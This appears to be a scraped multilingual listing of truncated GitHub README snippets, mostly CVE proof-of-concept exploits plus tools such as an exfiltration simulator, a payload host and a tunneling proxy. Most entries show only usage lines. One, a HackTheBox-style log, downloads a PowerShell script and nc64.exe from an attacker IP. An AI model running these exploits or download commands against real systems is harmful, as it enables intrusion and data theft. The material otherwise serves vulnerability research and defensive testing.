CVE-2024-7399-POC

CVE-2024-7399 Exploit para CVE-2024-7399. Más detalles se pueden encontrar aquí: https://davidxbors.github.io/0xpages/posts/cve-2024-7399/. Uso: python3 CVE-2024-7399.py https://localhost:7002/ --check python3 CVE-2024-7399.py https://localhost:7002/ --execute python3 CVE-2024-7399.py...

VeilTransfer

VeilTransfer 2.0 VeilTransfer 是一款数据外传工具，旨在测试和增强检测能力。该工具模拟高级威胁行为者使用的真实数据外传技术，使组织能够评估并改进其安全态势。通过利用 MEGA、GitHub、SFTP、WebDAV 等多种外传方法，VeilTransfer 可帮助识别防御中的缺口，并确保您的安全解决方案已准备好应对现代数据泄露。 支持的外传方法 MEGA GitHub Dropbox Telegram Pastebin WebDAV Webhook SFTP FTP DoH（基于 HTTPS 的 DNS） QUIC ICMP MITRE ATT&CK 映射 ID...

CVE-2018-2636

インストール $ pip install --user requests argparse unicodedata 情報 CVE-2018-2636 の PoC。 使用例 python eGw.py -H 127.0.0.1 -P 8080 -i ... Let's get info about server ! Your instance is vulnerable to CVE-2018-2636 ... リンク Oracle Critical Patch Update Advisory 2018年1月 - CVE-2018-2636 Oracle Micros POS 再び侵害され...

frp

frp README | 中文文档 Sponsors frp is an open source project with its ongoing development made possible entirely by the support of our awesome sponsors. If you'd like to join them, please consider sponsoring frp's development. Gold Sponsors The complete IDE crafted for professional Go developers The...

CVE-2022-0332

CVE-2022-0332 Moodle 3.11 至 3.11.4 - SQL注入 POC GET...

Nanobrok

Nanobrok Web Service Androidデバイスをリモートで制御・保護するためのPython製Webサービス。 公式アプリはPlayStoreで入手できます： NanobrokPro Nanobrok Community 概要 Nanobrok-Server は、Pythonで書かれた強力なオープンソースのWebサービスで、Androidデバイスの制御と保護を目的としています。安定した安全な接続を提供し、デバイスの遠隔制御と保護を実現します。 主な機能 デバイスの位置情報マッピング アラートフラグ（紛失または盗難時のイベント） オーディオマイク録音 リモートファイル転送...

rematch

|Read The Docs| |Gitter Chat| |Build Status| |Codacy Badge| |idaplugin PyPI| |server PyPI| rematch REmatchは、また別のバイナリ比較ツールです。 Rematchはまだ開発中であり、私たちが望むほど機能が充実しているわけではありません。 現時点では基本的な機能が利用可能で、より高度な機能については現在取り組んでいます。 幸いなことに、拡張性と保守性を最優先事項としたため、比較的早くそこに到達できるでしょう。...

CVE-2023-34924

CVE-2023-34924 H3CMagicB1STV100R012 ルーターのバッファオーバーフローの脆弱性 CVE 情報: • the name of an affected Product: H3C Magic B1STW B1STV100R012 router • the affected or fixed versions: affected version: H3C-Magic-B1STW - H3CMagicB1STV100R012. Fixed version: none • the CVE ID for the entry if possible:...

WSSAT

WSSAT - Webサービスセキュリティ評価ツール WSSATは、オープンソースのWebサービスセキュリティスキャンツールであり、設定ファイルを編集するだけで脆弱性を追加、更新、削除できる動的な環境を提供します。このツールはWSDLアドレスリストを入力ファイルとして受け入れ、各サービスに対して静的テストと動的テストの両方をセキュリティ脆弱性に対して実行します。また、情報漏洩の制御も行います。 このツールを使えば、すべてのWebサービスを一度に分析し、組織全体のセキュリティ評価を確認できます。 WSSATの目的は、組織が以下を実現できるようにすることです。...

satellite

satellite Satellite は、リクエストをフィルタリングして正しいターゲットがペイロードを取得できるようにする、Webペイロードホスティングサービスです。また、非常に特定の状況でのみアクセスされるべきファイルをホストするための便利なサービスにもなります。 クイックスタートガイド 1. Ubuntu で .deb ファイルを使用して satellite をインストール します dpkg -i satelliteX.X.Xlinuxamd64.tar.gz 2. 提供するファイルを作成します echo 'It worked!' /var/www/html/index.html ...

CVE-2021-40438

CVE-2021-40438 construir docker build -t cve-2021-40438:1.0 . ejecutar docker run --rm -d -p 4444:80 cve-2021-40438:1.0 verificar CVE-2021-40438 ./main.sh...

CVE-2021-40906

CVE-2021-40906 - 未经身份验证区域中的反射型XSS 应用： CheckMK Management Web Console 软件版本： 从1.5.0到1.5.0p25 作者： Edgar Augusto Loyola Torres. 攻击类型： 反射型XSS 解决方案： 更新至软件版本1.6.0p26或更高版本 摘要： CheckMK Raw...

CVE-2021-42913

CVE-2021-42913 Samsung Printer SCX-6X55X Control de acceso inadecuado El SyncThru Web Service de la serie Samsung Printer SCX-6x55X se ve afectado por una vulnerabilidad de control de acceso inadecuado. La vulnerabilidad puede permitir a un atacante obtener acceso a una lista de usuarios y...

cve-2017-10271-poc

CVE-2017-10271 POC 介绍 这是一个针对CVE-2017-10271的自动测试POC，已在CentOS 7和Windows 7/10上测试通过。 编译 本项目使用Rust语言编写。你需要先从 https://www.rust-lang.org/ 安装Rust环境，然后使用以下代码构建项目。 $ cargo build --release 之后你可以在 target/release/cve-2017-10271-poc 处获得二进制文件。 使用说明 显示帮助信息 直接执行以下命令即可获取帮助信息： $ cve-2017-10271-poc 检测单个网站 假设你有一个网站...

checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...

CVE-2023-23752

Joomla! options 参数 url：目标Joomla!站点的根URL（基础路径），包括HTTP协议、端口以及必要的根文件夹。 --debug：可选。若设置，脚本将打印调试信息，包括已获取的数据。 --no-color：可选。若设置，禁用彩色输出，以便更好地兼容不同终端模拟器。 示例 python CVE-2023-23752.py https://example.com 功能特性 获取并显示用户信息（ID、名称、用户名、电子邮件及用户组名）。 获取并显示配置详情（站点名称、编辑器、验证码设置、数据库连接信息等）。 模块化Python脚本，职责划分清晰，便于阅读和维护。...

CVE-2020-9047

使用/帮助菜单 usage: CVE-2020-9047.py -h -p RPORT -s LPORT --command -d WEBDIR -U USERNAME -P PASSWORD WINDOWS,LINUX,CHECK RHOST LHOST PAYLOAD Exploit for exacqVision Web Service as outlined in CVE-2020-9047. This program targets Windows and Linux x86 installations of exacqVision Web Service versions...

EUVD-2009-5122

Belkin Bulldog Plus version 4.0.2 build 1219 contains a stack-based buffer overflow vulnerability in its web service authentication handler. When a specially crafted HTTP request is sent with an oversized Authorization header, the application fails to properly validate the input length before...

CVE-2023-20198-Fix

CVE-2023-20198-Fix 该仓库包含一个 Ansible playbook，用于修复某些 Cisco 设备中发现的 CVE-2023-20198 漏洞。 它执行以下操作： 1. 通过检查运行配置中的相关命令，检查 Web 服务是否正在路由器上运行 2. 如果 Web 服务正在运行，则禁用它 3. 如果配置发生更改，则保存配置 4. 检查日志中是否存在先前被利用的迹象 目录结构： CVE-2023-20198-Fix/ │ ├── ansible.cfg Ansible configuration file ├── groupvars/ Directory for...

cve-2026-41679

CVE-2026-41679 简介 此 POC 用于测试某个 paperclip ai 实例是否存在 CVE-2026-41679 漏洞。 它遵循这篇文章中描述的步骤。 使用方法 执行以下命令： git clone [email protected]:bartfroklage/cve-2026-41679.git cd cve-2026-41679 python3 -m venv .venv source .venv/bin/activate pip3 install -r requirements.txt python3 poc.py -t your-target...